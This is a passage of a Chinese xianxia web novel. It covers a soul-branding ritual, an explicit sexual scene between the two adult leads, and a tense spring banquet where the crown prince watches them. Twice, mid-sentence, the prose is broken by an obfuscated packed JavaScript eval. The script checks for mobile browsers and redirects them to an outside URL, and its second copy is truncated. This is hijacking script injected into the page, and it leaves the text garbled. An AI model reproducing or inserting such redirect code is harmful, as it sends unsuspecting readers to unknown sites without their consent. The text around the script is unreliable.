“所以这几日我研究出了一个术法,能进入你的神魂,打一个烙印进去,这样你就能永远地记住我,也永远地记住这一世的我们了。我进去的时候不会偷看,你的识海很安全,但是可能会有一点痛……也可能是很痛……这样也是可以的吗?” 璃音说完便把脑袋更深地埋进了慕璟明的颈侧,根本不敢抬头看一眼他的神情。 说到底,她就是个自私的坏姑娘,竟欲趁着凡间的慕璟明纵她爱她,就哄着他,让自己能去摇光的神魂中烙上她的私印。 如此,即便他再历劫转世,或即便他归位后知道了她那些不堪的过往,他也许会想要杀她,会觉得她恶心,但也再抛不掉这一世爱过她的记忆了。 他会变成神魂都盖着她的章的小七,生生世世都再抹除不掉。 她还总说他是变态,可他的一切欲望都坦荡,而暗自钻研着这种术法的她,才是比他更阴暗可怖的变态吧。 璃音忐忑地等着慕璟明的回答,却先等来了他印在她耳后细细密密的灼吻,耳鬓厮磨中,他将她更深地拥入怀里,对她说:“好。” 只有一个字的回答,不知是不是错觉,璃音竟仿佛听见里面也藏了轻微的颤意。 “真的好?”璃音抬起脸来,再次捧上慕璟明的下颌,万分认真地向他确认,“魂印一旦烙上,可就撤不掉了,没有反悔的。” 慕璟明笑着将脊骨懈下,懒抵去椅背上,全没一点衣冠不整的窘迫,一双眸子亮得像是方才被水浸过,他掌在她后腰的手无声催促地拍了拍,又言简意赅地递给她一个字:“来。” 指尖莹莹绿光浮起,璃音反手将兰花印轻轻扣去慕璟明额前。 他现在是凡人之躯,魂术毕竟危险,之前她从没舍得在他身上用过,如今为了她一己私欲,竟不惜走到这地步。 而慕璟明竟也就这样轻易地纵容了她。 她有时也会自我反省,觉得平日里是不是太顺着他、惯着他了些。 可他又何尝不是在惯着她。 此时他身上的淤青完全发了出来,青紫交错,简直触目惊心。而他仍乖顺地向她仰颈,等着她在他神识深处,烙下独属于她的刻印。 看过她凶相毕露的样子,却还惯着她到如此程度,除了慕璟明,世上决再不会有第二个人做得到。 璃音不禁想起他除夕那夜写下的愿望。 ——神魂交付,同心永结。 若不是瞥见了这个愿望,她即便心里有想法,也永远只会是一个想法,绝不会有勇气向他提出,更莫说像现在这样,将这大胆可怕的想法真正付诸实践。 而他也果真连神魂都对她交付,璃音心魂嗓音都因他软得彻底。 “忍一下,会有点疼。” 少女轻声说罢,幽暗荧光便如一柄利锥刺入了慕璟明的神识,随后又在某处化作一块滚烫岩铁,痛肆焦灼,神魂也如腐肉般被烫出滋滋的声响。 神魂上遭受的痛楚,躲不开,磨不灭,远比身体上能遇到的任何一种血肉之痛都还要痛,比凌迟更凌迟,比彻骨更彻骨。 莫说凡人,便是神仙也有熬不过的。 慕璟明额角有细密的冷汗沁出,长眉紧蹙,脸白如纸,青筋却跳得隐忍,痛苦的闷哼也被他尽数抑在了喉间,不愿让少女听见。 “小七,是很痛吗?”璃音见他受痛的样子,也跟着心颤不止,忙疼惜地准备撤手,“要是太痛就不弄了。” 慕璟明却倏地睁眼,五指悍然拢住她欲撤离的手腕,眼神和声线里皆是不容抗拒的沉硬:“给我。” 这是她给他留下的刻印,越是用力,越是疼痛,才越好,他如何不要。 带着记忆和爱意的铭印灼烫,如一道镌刻,终于深深烙进了慕璟明和摇光的神识之中。 收起萤光,璃音心疼地去亲他汗湿的鬓角,可心底饱足的笑意却还是忍不住从眼底唇边都跑了出来:“小七,被我盖了章,这下可再也跑不掉啦。” 他是她的了。 慕璟明闭目平复了一息,再睁眸时,身后却有蓝白色冷辉骤亮,璃音不可思议地眨了眨眼,可在眨眼间,竟就被他倾身压去了榻上。 而在慕璟明背后,破军神威凛凛,赫然悬空。 白日星辉和他覆了她满身。 璃音又眨了眨眼。 破军固然可以主动护主,也可以帮着主人往她神识里传传音,说说话,但慕璟明以凡人之体驱动神剑中蕴含的星辰之力,这是可能的么? 莫不是她给他刻下烙印时,影响到了神格封印,弄出来的副作用? 璃音尚来不及多作心虚,就先被铺天盖地落下的吻和某人正往她衣襟里钻的手惊得变了声调:“你你你……你干什么?” 慕璟明闻言轻笑了声,嘴里因正忙着含她的耳朵,出口的语调格外含糊:“该我给阿璃盖章了。” 璃音气消了,眼底的赤红和戾气也早随之散了,当然再做不出折磨蹂躏慕璟明的事,被他这样放肆对待,一时竟不知要如何应对才好。 察觉到她的发呆,慕璟明终归还是把所有动作都停下,温热的脸颊蹭在她颈上,声线因情欲染上了喑哑,但一字一句问得认真:“就现在,可以么?” 知道他问的是什么,璃音颊上生出一片晕红滚热,她垂下眼,眼睫便也跟着轻轻颤动一下,止住半晌,突然慕璟明抬起脸,向她看来,四目相对间,她的睫羽被那里面深沉坦荡的欲望惑得便又是一颤。 这男人总是这样,明明没什么娇态媚意,却偏能蛊她心神,像映在春日湖面里的一抹寒星冷辉,一晃一晃地随波漾着,竟也漾出迷离的春意,诱她靠近,惑她来掬。 捱不过他这样炽热渴求的眼神,她终是撇过脸,微不可闻地轻轻嗯了声,想起什么,又忽望了回去,全然不知自己卷翘颤动的长睫落在男人眼中,会比春日星辉更惑人,她伸手去勾住他的小指,小声支吾:“那你一会别那么凶。” 坏姑娘作完恶后也是会后怕的,看慕璟明刚才那架势,破军都搬了出来,总觉得是要报复她之前的凌虐,恨不能把她拆吃入腹了。 但坏姑娘之所以是坏姑娘,就是有着自己的双标原则,她凶他可以,他凶她可不行! 而慕璟明只是低低笑着说好,动作也果然轻柔下来。 可璃音很快就后悔了。 只怪她也是白纸一张,毫无经验,不晓得原来有些动作,越是慢,才越是磨人。 含得慢,吮得也慢,长指慢条斯理地拨弄,雨声阵阵中,暧昧的水声溢了出来。 璃音睁了睁眼,又“唔”地一声闭上,两只手掌抻开,一点缝隙不漏地捂住了自己那张秾艳欲滴的脸。 “现在才害羞?”慕璟明见她如此,闷笑一声,动作愈发缓了下来,黏连的声响却仍清晰地荡在空中,昭示着他指节每一点细微的动作,“之前罚我的时候,你不是看得挺起劲的?” 他还笑! 璃音猛地睁开水漉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642452|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双眸,她确定了,这个男人,他根本就是在报复她,就是坏心眼! 她不服气,透出一点指缝,漆黑的瞳仁就从那缝隙里瞪他:“那还不都是你勾引我看的。” 慕璟明意味深长地“哦”了声:“那是现在我跑不掉了,你就不想看了?” 瞧瞧这说的是什么话!璃音立马撤开手掌,眼睛也圆圆地睁了起来:“谁说我不想看,看就看!” 可看着看着,突然一阵被他勾出的热潮急涌上来,璃音轻咬了下唇,压下几声难抑的低喘,那手掌就又捂了上去。 看他是一回事,可同时还要被他看着就又是另一回事了。 知道她终归脸皮薄,慕璟明也没再使坏,等她准备好,抵开前,俯身去她指背上吻了吻,轻声唤她的名字,尾调有些难耐地微扬,是带着最后确认的珍重问询。 璃音泛红的指节蜷起,终于还是从脸上挪开,轻轻攀上了他的肩。 至少在这一刻,她想要看着他,和他一起。 于是她在满室的白日星辉中,看他情动的眸,看他身上各种乱七八糟的痕迹,看他因难耐而绷紧的美好腰线,然后由着他将对她的狂放渴念和无尽温柔一同埋入。 平时接吻总是很凶的人,这时却极有耐心,怕她痛,想给她最舒服美好的初次,所以把所有急躁和难耐都收起,一点点地给,又慢慢地磨。 而她仍是仿佛经不住地微微仰颈,在细细喘声中,艰涩地启唇唤他:“小七……” “嗯?”他声线里亦压着滚滚难耐,闻声还是立刻停下了,倾身下去抱她,“会痛?” 发丝和温柔一起流泻在她身上,他声音溺得快要将她淌化:“我再轻一点。” 可她想说的并不是这个…… 璃音脸和耳根都红透了,但羞归羞,面对他时,她也向来诚实,于是小腿不安分地在他腰后蹭了蹭,一双沾染了潮意的眸子撩起:“其实……也可以稍微凶一点的……” 她也很想要他。 慕璟明顿了顿,然后伏在她身上闷闷地笑了声:“好。” 她都开口了,自然她说什么是什么。 可璃音没料到,动作不加收敛后,一切就都变了形状。 本来青天白日就够羞耻的了,偏这人还召破军在上面亮着,更是将每一处都映照得纤毫毕现,无处可藏。 “别看……” 他的眼神太过直白,于是璃音再次拽他俯身,攀搂住他肩颈,不让他起来,也不让他看。 他低低笑着,也依她,动作却陡然凶过了她给他的限度,热气呼在她耳边,名字被他反反复复地念,璃音埋在他颈侧闷闷哼了一声,便纵容了他。 可最终还是什么都被他看了去。 “很美。” 他目光放肆,偏还要说出这种字眼来。 少女轻哼着将一只赤足踩上他肩骨,纤白的足踝上环着一串小小的铃铛,精致玲珑,暧昧摇动,慕璟明看得瞳色一深,心里最柔软的地方像被什么东西撞了一下。 三年前他给她扣上的响铃,她竟一直戴着。 她就是这样,总能在某个不经意的时刻,不经意地透出这类细微处对他的上心,让他知道自己有在好好地被她珍爱,让他一次又一次,每一次都像第一次那样,为她怦然,对她心动。 此时的慕璟明只觉全身每一根经络都被她抚慰透了,恨不能心脏就从此跳动在她的身体里。 可惜不能。 他熟练地探手,抽去铃铛里面塞着的布条,叮叮当当之声立时盖过雨声水声,在屋内急乱摇响,晃颤不止。 少女轻吟一声,趾背难耐地蜷了蜷,想收回,却又被男人强硬地抓住,甚至偏头往那上面印下了两个潮热的吻。 “变态。” 少女嗔他的样子也美极了,眼里像含着春水,玉雪难及,清丽可爱,他今日见到了太多从前不曾见过的阿璃。 这是因他而绽出的美。 被她下了烙印的那处神识亦被她嗔得发烫,他仰了下颈,终于什么都再克制不住。 不许她遮,不许她躲,他也要看她漂亮,看她恣肆。 雨寒料峭,十指交叠,打在窗沿上的雨声激荡而缱绻,而他们比时令更先抵达春日。 她在他耳边低低地吟,舒服了,就喊他小七,然后咬他的耳朵,直白地往他耳中哼喃:“小七……好厉害……” 浪潮涌来,她亦被激得翻身而上,按住他手,生涩而动情地看他青丝铺了满榻。 在这样望着他的某个时刻,脑中竟蓦地闪过自己与小七身着喜服,在喜堂交拜的一个画面,那一幕是如此真实,真实到仿佛在茫茫岁月之海中,这个场景当真在哪里发生过一般。 一定是因为此刻的她对他太过喜欢,才生出了这样的幻觉,她与他,又怎么可能真的拜过堂呢。 温存时,他又抬手掌上她的腰,不紧不慢地揉,学她的话,笑着说阿璃真厉害,声线被磨得低哑极了,璃音暗骂一声妖精,便又再俯身咬住了他的耳朵。 她主动的后果,就是慕璟明完全丢掉了节制,无论何时,总有他的什么赖着不肯出去,他的欲/望,他呼出的热气,他的长指,他的舌。 直到窗外雨都停了,他还没停。 最后逼得璃音不得不放出体内的落日,架开时时压制她的破军,伸手一指,指向窗外暗下来的天幕,睁圆了眼睛控诉:“慕璟明,你不用吃饭吗?” 晚上睡觉的时候,男人又从她背后贴了上来:“今天怎么不抱了?” 她哪里还敢抱,一抱他又兽性大发怎么得了! 吓得璃音一把抽出脑袋下面垫着的软枕,抢先抱进了怀里:“我今天想抱这个。” 虽然他很可口,但今天她实在是吃撑了,改日吧,改日,反正…… “你是我的了。”她一个翻身,终于还是扔掉枕头,把他抱住,“好枕头,不许动。” 他是她的了,被她彻底吃干抹净,连神魂里都刻上了她的名字,她有权使用他,此刻她要他当她的抱枕,那他就该乖乖当她的抱枕。 他接住少女扑蹭而来的温热身体,笑了声,没有答话,只是如她所愿抱紧了她,便与她一起,安静地阖眼,搂着她睡去了。 108. 第107章 簪春宴 璃音发现,自那日之后,慕璟明算是彻底被抚顺了毛,那股子淡淡的黏人劲儿便又开始了。 两人私下里都不是闹腾爱说话的性格,在一起的很多时候,果然就只是安安静静待在一起,有时各做各的事,一个下午也没说上几句话,但就是要待在一起。 渐渐地璃音也发觉,一旦自己离开慕璟明视线范围稍久一些,一句声线清沉的“在哪”便要在灵台中响了起来。 于是她索性不再塞住足上响铃,就任它整日里在春山空谷中叮叮当当地响着,好让他知道她在。 这日璃音支着下巴算着日子,发现后日竟便是立春了,想着就快要去赴楚作戎的春宴,忽然眉心微动,唇一抿,下颌瘫埋进掌心,十分认真地犯起难来。 慕璟明抬眼一看,就瞧见少女手托着腮,半张小脸都挤在了手心,挤出鼓鼓的一团脸颊肉,眉头轻轻拧着,像是被什么事难住了。 小姑娘有事为难,他委实不该笑,但看她模样实在可爱,便无声勾动了下唇角,放下手头的公务,徐声问:“在想什么?” 少女闻言站起身来,低头看看身上总也不变的淡青衣裙,踌躇不定地开了口:“过两日我就这样去赴你小舅舅的宴,会不会太简陋了。” 又抬手摸了摸脸,望向他道:“我是不是该上妆过去?” 仙人不拘形迹,军营也不是个精细讲究的地方,故而赴那些场合里的宴,可以精致妆容,亦容得下随性而往。 但是,这次是王都里的贵人起宴,规矩自然不同,她不是没在高门贵府里待过,虽只是郊外迎春,可似这等日常穿着,还素面朝天地过去,多少是有点不合礼数了。 慕璟明视线在她身上脸上转了一圈,竟“嗯”了一声,颇为赞同似的微点了下头:“是应该。” 璃音神情微顿,没料到他竟答得如此斩截。 也是,谁不希望自己带去的女郎打扮得漂漂亮亮的,这是顶长男人面子的事。 可她心里本就对穿衣打扮的事有所抗拒,想到此处,不禁愈发抗拒起来。 “我若不上妆过去,你会介意?” 想到他心里或许早就藏了这份介意,也不知藏了多久,不由得唇线向上抵了抵,又哼着添一句:“小侯爷莫不是怕我跌了你的面子。” 这话已是有点在使性子了,换作以前,又或者换作别人,除非真惹她动了怒,否则即便心里真这么想,也决不会就这样刺刺地开口。 但她这几日也是被慕璟明惯坏了,反正无论她对他做什么,说什么,亲他抱他也好,踢他骂他也行,再过分的事和话,只要她在他眼前,他都能一脸清懒散漫地受着。 脾气就这样被惯了出来。 在他面前,无须瞻顾这个那个,也不必长虑谁的面子里子,心里任何的一点不高兴,她都不害怕被他知道,甚而是偏就要他知道。 她就是个有脾气的坏姑娘,是他心甘情愿选了她,他就该这样惯着她的。 慕璟明闻言,果然没一点恼意,只扬眉低低笑了下,看着她道:“我说应该,是因为你心里想要。” 璃音一怔。 旋即小声嘟囔了一句:“我也没说想要……” 慕璟明偏是个看破就说破的人,开口时,有种放肆的淡然:“若是不想要,你就不会那般迟疑,也不会问出口了。” 璃音看着他,抿着的唇松开,不说话了。 她确实想要。 她是懒打扮,但有时,也会想要在人前收拾得漂漂亮亮的。 只是…… 她真的可以要吗? 重生了,回到了恶事还未做下的时候,就当真可以将前尘往事一笔勾销,把曾经死于她手的冤魂都抛诸脑后,和这世上无数干净平凡的好人一样,肆意地要高兴,要漂亮吗。 正胡思乱想着,蓦地后腰被一只有力的胳膊揽过,她就被慕璟明抱去了他膝上坐着。 自那日她在椅子上欺负过他之后,这男人就特别喜欢对她这么做。 他用指节触了触她柔软的颊,笑道:“不过就这样也很好,更方便些。” 上妆漂亮,不上妆方便,这倒确实……嗯?手指撤走,换作他的唇落下,肆无忌惮地落去她脸上,然后又肆无忌惮地望着她笑。 璃音:“……” 原来他说的方便,是指他亲起来更方便…… 这人真是! 璃音起身,看准男人光洁的靴面,毫不留情,一脚便踩了上去,嘴里也一点不客气:“色狼,没个正经!” 慕璟明挨了一脚,笑得越发惹眼了。 脑中闪过四年前她初入侯府那日,懵懵地就被人抹了胭脂,画了眉,又换了身粉桃的新装,清灵得如桃枝绽雪,玉砌琼堆,他去房中接她和母亲用饭,只一瞥,便叫他再挪不开眼。 那时她也是这样踩他的脚,怒哼哼地骂他是色狼,含嗔的俏脸生动极了,被她踩过的地方都觉酣畅,只想日日都能逗得她如此。 在此之前,他心里从未如此明确地燃起过必须拥有什么的欲望,可以说,他是一个对任何事物都没有强烈执着的人,活着便活,便放肆,死了就死,就消逝,反正这世上,没人能给到他想要的那种在意,仿佛是天性如此,又仿佛是一种消极的报复,他分不清,也懒得去分清,他只是自然而然地,便从不会在意任何人。 少女心安理得踩完这一脚,又把一根纤白的手指塞进他掌心,待他握住,便勾玩着他的手心,带动他整只手,悠悠地晃了起来:“明天过来么?” 他被她晃得骨头越发懒了下去,握紧掌心里那根玉白温腻的指,淡笑着回:“明日有官职的都要去宫里迎春,我不得闲,会叫童墨给你送些衣服和妆饰过来,要不要用,就随你自己的心意,后日立春,我来接你。” 几句话便把所有的事安排妥帖,点破了她的心事,却并不为她设定出一个所谓正确的决定,而是给足她选择的资本,保证无论她最后的决定是什么,都不至捉襟见肘。 他做事从来如此,果断,斩截,没一点拖泥带水,越是旁人委决难下的事,他决策就越是出得快。 每到这种时候,都迷人得不行。 璃音轻轻“嗯”了声,毫不掩饰地咽了下喉咙,目光亮亮地盯在他身上,勾在他掌中的指节暧昧地蜷了蜷,馋他的意思明显:“今晚别走了,明天一早我让归岚送你回去,嗯?” 男人含笑抬眉,捏住她不安分的一截小指,也不留情面地哂她:“小色女。” 璃音面不改色地坐回他膝上,曾经羞耻心很强的小色女,如今已色得十分坦然:“今晚我要在上面。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700272|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不是打商量,只是一句通知。 她要的,他自然一概说好。 少女又静静看了他一会,忽然状似烦恼地轻叹一声,把上身整个塞进他怀里,趴在他耳边轻喃:“怎么办,你明天才走,可我现在就开始想你了。” 清清凉凉的嗓音,甘泉般清甜的眷腻。 怀里和心里都被她塞满。 喜欢简直满到溢了出来。 他想要的那种在意,再一次如温煦海潮般将他包裹。 “后日我尽量早些过来。” “嗯。” 他顺着她的发丝轻轻地抚弄,冷香萦袭上来,那样好闻。 * 立春这日,璃音挑了件慕璟明送来的新衣换上,却终究没有去碰那些一看就很精致昂贵的胭脂头面。 还是等昆仑大劫安渡,虞家村果真无虞之后吧,她想。 她这段时日放任自己拥有的已经太多了,她不敢太贪心。 楚作戎起的宴名为“簪春”,于是她将坠着的两股发辫拆了,将一头乌发全都挽了上去,又随手去院中折了一小段柳枝,替了发簪,别在发间。 春日尚早,树枝都还瑟瑟地秃着,只在枝末浅浅地抽了一簇小嫩芽,缀着少女乌顺柔亮的青丝,很有些自然清新的野趣。 璃音对镜照了照,看着还算满意,心想如此便算映了题面,也不至失了谁的礼数。 慕璟明来接璃音下山时,一见少女推门出来,目光便不由得灼热起来。 他第一次见到她把发挽起来的样子,纤长优美的颈线露了出来,出水芙蓉,岫玉冰清,说的便该是少女此刻的模样。 可她一见着心上人,笑意便点染了眉眼,发间一抹嫩绿的新芽,更平增了几分生动的俏丽。 如被春风吹绽的雪枝。 “走吧。” 他在初春晴光中向她伸出了手。 她笑着朝他走去,便自觉地将手放入了他的掌心。 簪春宴设在云郊,临着奔流的溪涧,这本是古来的玩法,沿溪列坐,以作曲水流觞。然经年战乱,如今的大酆举朝尚武,轻文官词赋,重兵事骑射,宴饮时也亦不再兴吟诗颂歌,而多是设个彩头,投壶射靶取乐,不过春宴临溪而设早已成了惯常,便沿袭了下来。 “璟明!哎哟,夏姑娘,可当真是好久未见了!” 才被慕璟明牵着下了马车,楚作戎便热络地迎了上来,璃音一见着他,便不免要想起小蜀,一想起小蜀,便不免要揶揄他:“楚公子,今日见我不用戴幕篱了?蜀娘子不要罚你的么。” 到底是为小蜀不平,提起的这桩旧日趣事里面,也多少掺了些隐晦的提点,但并不尖刺,任谁听了,都是再温和寻常不过的一句打趣。 不料楚作戎神色陡然僵住,僵住后便一动不动,一声不吭,璃音喊了他好几声都不应,害她差点以为方才一阵初春尚寒的冷风猛地吹过,不小心把他给吹成了面瘫。 “小舅舅。” 还是慕璟明不客气地去他太阳穴边狠狠拍了两掌,才终于把他拍回了神。 怪怪的。 璃音看他情状诡异,正要问些什么,一抬眼,远远地竟瞥见席间一个熟悉的身影,她轻轻“啊”了一声,太过意外,不由脱口喊出了他的名字:“照雪?” 109. 第108章 警告 南风馆的小倌,是可以出现在这种宴会上的么? 不过照雪倒是照例眉目疏淡,给同案那位华服男子斟酒时也十分规静,不见一点风尘轻浮。 半回过神的楚作戎顺着璃音好奇的视线转头一望,见到照雪,才算是彻底回了神,慢慢扭回首来,已是耷眉苦脸,压了声向慕璟明道:“太子不知何故也来了。” 高门子弟间的闲饮聚乐,图的便是个门第趣味相当,虽也是个不言而喻的社交场,但同辈之间,到底不必那么拘谨,言谈畅饮间也都松快,于是彼此心照不宣,决不会邀长辈或是越位的贵人到场。 太子这一来,席间的氛围顿时就不一样了。 看似也都在饮酒闲谈,但都跟脚下搭了个戏台似的,也未必是演,但必然端着,一个个正襟危坐着故作松快,嘴里往外蹦的都是台词,字字刻意,偏又不能落了刻意,璃音不过这么远远瞥了一眼,就已经在替他们觉着累了。 “照雪旁边那个是太子?”璃音将楚作戎的话和眼前这番景象结合起来,略一琢磨,便自领悟,“他是太子的人?” 啊,原来如此。 她总算知道自己偷去南风馆的事是怎么暴露的了。 想来便是这位照雪回去打的小报告。 慕璟明倒不意外太子和照雪的不请自来,只斜眼凉凉一瞥目光黏在照雪身上的少女,一开口,语气便也凉凉的:“阿璃倒是把他记得清楚。” 璃音一听这口气不对,急忙忙收回视线,扭头一看,果然瞧见慕璟明神色淡淡的,明知她在看他,都不转头对她笑了。 不得了! 她可没忘记那日慕璟明去南风馆将她成功“捉奸”的时候,那牙暗地里咬得有多紧,脸沉得有多黑。 璃音下意识将男人牵着自己的手反握住,攥紧了,一口气连着顺毛表忠心:“我只是没想到会看见他出现在这里,这才多看了两眼,就是席间闯进来一只猪坐在那,我也是这么看,现在开始我一眼也不看他了,真的!” 对这男人,顺毛须得趁早,得坚决,否则逼急了,可是会淌着晶莹倔强的泪来灼她的心的,可怕得很! 可不料这力度还不够,只见慕璟明唇角没什么温度地一勾,又道:“总能在人群中一眼就将他瞧中,看来他很合阿璃的眼缘。” 天大的冤枉! 什么眼缘,她又怎么就瞧中了! 璃音在心里给自己叫屈,她是爱看美人没错,但那不过是不想为难自己的眼睛,除了正和她闹小脾气的这个男人,她又何曾真被谁的美貌蛊得心旌摇荡过。 便说前世瑶池宴上那么多琼姿玉树的仙人,她偏就只盯着他一个人看,盯他的一举一动,盯得津津有味,从头盯到尾,竟没半刻觉得无聊。 只怪那时的她从未对旁人心动过,不晓得真正的心动是个什么模样。 撑着腮帮子偷看了人家半日,自己最爱的桂花小麻糕也给了他,后来每遇着天宫中有人在讨论这位神君,她总要停下来听上一听,听别人说他的坏话,心里隐隐就不大高兴,忍不住就要为他辩上个一句两句。 但这些又意味着什么呢? 不晓得真正的心动是个什么模样的少女,那样隐晦的悸动的萌芽,自然更是一点儿也察觉不到的。 可现在的她知道了,尽管后知后觉,但到底是知道了,开了窍后,她也不止一次想过,如果他也能早些来喜欢她就好了,如果瑶池宴后的那一晚,来向她告白的是他就好了。 “我在他身上花费了那许多银子,他转头就把我给卖了,我没去揍他一顿,那都是我宽宏大量。况且当时点他的是归岚,和我的眼睛可半点干系也没有。不过要说缘分嘛,大概还是有一些的……” 如愿勾得慕璟明淡淡警觉的目光射来,璃音笑得真心:“若不是刚好选了他,你又怎么会追来,搞不好我现在都还只敢躲在哪里,偷偷地看你呢。” 如此想来,她能有如今的快活,照雪实是个大大的功臣,那笔巨款,也花得值了! 慕璟明眸中神采动了动,刚要开口,楚作戎先忍不住了,推着两人的背就走起来:“行了行了,知道你们感情好了,走走走,赶紧入席去!” 被楚作戎按着落了座,人也差不多到齐了,很快便有人带头行起了酒令。 璃音端起面前的酒盏尝了尝,这一杯是新酿的梅子酒,入口清爽,好喝极了,正咂着嘴巴回味呢,一抬头,竟发现上席的太子正玩着酒杯,一瞬不瞬地盯着自己。 那眼神中充斥着一种阴冷玩味的打量,看得璃音极不舒服。 再看照雪,始终跟在太子身边低眉敛目地伺候着,那才叫真正的目不斜视,除了太子和身前的食案,他眼神就没往别处瞟过。 突然璃音脑中一凛,太子该不会是以为她真把照雪如何了,记恨上她了吧! 正沉浸在各种狗血的猜想之中,直到酒水落入杯盏的笃笃声和慕璟明略带调笑的嗓音同时在她耳边响起:“方才是谁说的一眼也不看了?” “不必觉得和他有缘。”慕璟明仍神色浅淡地向少女盏中添着酒,“没有他,我也会来的。” 不过早一点晚一点,他终归是会找到她,向她追去的。 璃音被他说得心神一荡,转回脸来,无意间却又瞥见许多明着暗着扫向她的视线,一个个都闪烁着无比好奇的光,来来回回在她身上打量着。 那种好奇,决不是见着美人惊艳的好奇,而是有些像她适才所说,看猪闯进了席间的那种看热闹的好奇劲儿。 璃音本还想和慕璟明申辩说是因为太子看她的眼神怪怪的,她才顺路观察了照雪几眼,没想到大家看她的眼神都怪怪的。 虽不至怯场,到底有些坐立难安起来,能徒手捏死阴鬼的怪力少女,却并不善于应对觥筹交错中被人暗自围观的诡异目光,她轻扯过慕璟明一只袖子,低声问:“小七,我身上是有什么不妥么,怎么大家都那样看着我?” 慕璟明接住少女望来的视线,那双清透眸子里藏得很好的无助和不安一下便撞入他眼底,他将斟满的酒盏推去她面前,然后在食案下轻轻握住了她的手。 “没事,别怕。” 他的声线轻柔,轻柔过蝴蝶的一次扇翅,脸向席间众人抬起时,原本只是浅淡的神色间,却已覆满灭世寒铁般的冷厉。 他直直迎向那些好奇打量的目光,沉冷警告的视线在那些人脸上一一扫过。 那眼里不含杀气,没有森然,而是一种目空一切的,淡淡的冷蔑,莫名让人想到神祇俯视蝼蚁,压迫感无声席卷,每一个对上他眼神的人,都不由自主打了个寒噤。 在座的谁不知武宁侯府出了个行事狂荡的小侯爷,有时也未必是得罪不起,但不知怎的,一触着那眼神,一个个就怂得格外坦荡,分外自然。 路上遇着狗吠,甭管大狗小狗,乖狗疯狗,总有人敢上去对战一番,但若遇上的是睁着一双森绿的眸子,静静地在一旁用瞳孔锁着你的狼呢,那么绕道便无可厚非了吧。 且太子还在呢,今日可不宜生出事端,于是众人都默不作声地调转开了视线,直到…… 直到那寂寒的眸光毫不避讳地落去了太子身上。 寂灭与阴冷相撞,慕璟明没收敛分毫。 席间暗流涌动,许多人都在暗自观察着,到这会,已经能听见有人倒抽了口冷气的嘶声。 慕小侯爷在外走动不多,名声却不小,前几年在边关挣下赫赫军功,少年将军,门第又好,正逢着娶亲的年纪,那段时间的慕璟明,一度成了王都一众贵女眼中最炙手可热的择婿人选。 各家女郎的画像往侯府里送去了一幅又一幅,而他呢,随着最后大战的捷报送去陛下案前的,竟还有他的一封奏请,一切封赏不要,只请求陛下为他与府中的一个小厨娘赐婚。 武将放弃与世族大家联姻,陛下自然乐得如此。 一时引得整个王都哗然。 议论纷纷间,说什么的都有,有笑他终究是英雄难过美人关,昏了头的,也有人反过来讥讽那些笑他的人,说他这其实是明哲保身的大智慧的。 但同时也都不免纷纷好奇起来,那能让慕玿小侯爷如此爱昏了头的,究竟是个何方神圣。 听说那位美人曾一路追随小侯爷去到边关,身份虽不入流,但这般生死相随,情深意笃,在这吃人的乱世里面,该也算是一段佳话了。 却 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不过向热恋中的爱人小声求了个抚慰,想要的无非是拉一拉小手,压一压心底泛上来的恶心而已,只没想到转眼之间竟就风起云涌了起来。 她素闻摇光是个天地无畏的,面子这种东西,千万年来都是平等地不给任何一个人,但没料到他身在凡世,竟也能无所顾忌地对着太子甩脸。 太子阴沉的眼,蓦地叫璃音想起曾为慕璟明卜过的一卦:慕璟明这一世,最后死得不算好。 猛然间一阵心悸,她自己得罪谁都不要紧,可不好连累了慕璟明。 “别管他们啦。”璃音平复下心绪,反过来捏了捏男人修白的指节,“我没害怕,只是刚刚有点不舒服,现在已经好啦。” 慕璟明平淡地收回视线,在少女眼中确认过她的状态,便含了笑意低低“嗯”了声,怎么看都乖得不行。 一方撤离,无声的修罗场便此终结。 作为宴主人的楚作戎早吓得魂都飞了一半,汗毛倒着竖了一身,也只得勉力镇定,端盏起身,打起圆场:“今日趁着春光,请诸位过来原不过是闲情小聚,松一松平日里的拘束,幸遇太子殿下赏光,倒不若殿下就添个彩头,也叫我们这些小臣小宴上一上台面。” 说着赶忙向身后随侍的徐远递了个眼色,徐远当即会意,下去领了一群人,便在溪边立起了箭靶。 酆朝有春日射礼的习俗,立春这日,不投壶,只射箭。 而这开春祭春的第一箭,一般是由宴主人射出,然后设下彩头,众人便行起一套武令,箭术稍菜的,便要被按着狠狠灌上一顿,供众人取笑了。 但今日情势特殊,太子在场,楚作戎自然要把这第一箭谦让给太子。 太子转着手中杯盏,毕竟是久在宫中浸淫的,眸底冷色说散就散,这时放下酒杯一笑,真如春风扑面,温煦极了:“今日也是偶然遇上,没带什么好东西过来。” 说着褪下左手拇指上一个玉扳指,含笑朗声道:“这扳指跟了我十年,不若就以此物给诸位添个彩头。只这开春的第一箭……” 目光比箭还快地射向了慕璟明,语调却亲昵:“本宫骑射皆由太傅一手调教,太傅弓马精熟,时常叫本宫暗自欣叹,自愧不如,璟明既替着太傅的职,这一箭何不就让璟明来射?” 说着便挥手示意照雪下去为慕璟明挑选弓箭。 自称从“我”变作了“本宫”,再亲昵的口吻,也掩不住话里翻滚起来的暗涌。 众人都不自觉屏了呼吸,没一个敢在这会出声。 慕璟明抬起头来,平静望了太子一眼,没多说什么,便平静地应下了。 谁都瞧得出,太子的温煦是伪装的温煦,慕璟明的平静却是真正的平静。 先前眸光里的警告与寂灭没了,却也没一点胆敢警告太子后该有的慌乱。 